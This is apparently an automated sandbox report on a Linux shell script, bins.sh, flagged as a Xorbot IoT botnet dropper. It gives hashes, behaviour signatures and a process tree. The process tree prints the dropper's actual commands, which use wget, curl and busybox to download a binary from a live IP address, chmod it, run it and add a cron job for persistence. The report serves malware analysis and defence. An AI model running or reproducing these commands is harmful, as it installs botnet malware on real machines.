Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/11/2024, 10:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e3acbc4ed14dedc6b101819151aa8e11

  • SHA1

    c27ad3916863d50bc1001b95d0fd39d831e3eebc

  • SHA256

    0d5e5ac44a1561346bce5197d027dbf920fc6e3a8f162b38ac4c03f953705544

  • SHA512

    4380b6cf9fb1a11c9de70e3a48bf8873868360ff194a33ce5e2a068ac913017ce7640510963cfed31e38d742fba3f13c5873fd56b1cb45939b96518558d61657

  • SSDEEP

    192:P/2hN5CGevfxme2NpJaWq20n/uqRqxqrqCbqQq6zdVhN5CGevf5me2Np/q20n/I7:noaxzdcq

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1516) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1488
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1489
        • /usr/bin/wget
          wget http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1490
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1500
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1508
        • /bin/chmod
          chmod 777 MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          ./MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:1511
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1513
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1514
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1515
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1516
              • /bin/rm
                rm MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
                2⤵
                • System Network Configuration Discovery
                PID:1518
              • /usr/bin/wget
                wget http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
                2⤵
                  PID:1521

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC

                Filesize

                98KB

                MD5

                5141342d0df8699fa32a6b066a0c592e

                SHA1

                8157673225bd5182f16215e2aa823a25ca2d4fbc

                SHA256

                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                SHA512

                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

              • /var/spool/cron/crontabs/tmp.iUksLV

                Filesize

                210B

                MD5

                43705870935806a819810831d53e614f

                SHA1

                010f82ad71fc50ffdae56f0c56fdd4262d71489f

                SHA256

                6b0992279dcf31faab68ad4c2e9a1ca481614205c99f6538ab373497b2052d14

                SHA512

                581af0c1b41814677b7e069e12181b91ae08d13147360054ab099bc0adc610faefda2d2db067328fc6a99f948656609b5b8b633615dccdbff4482378e52d8a75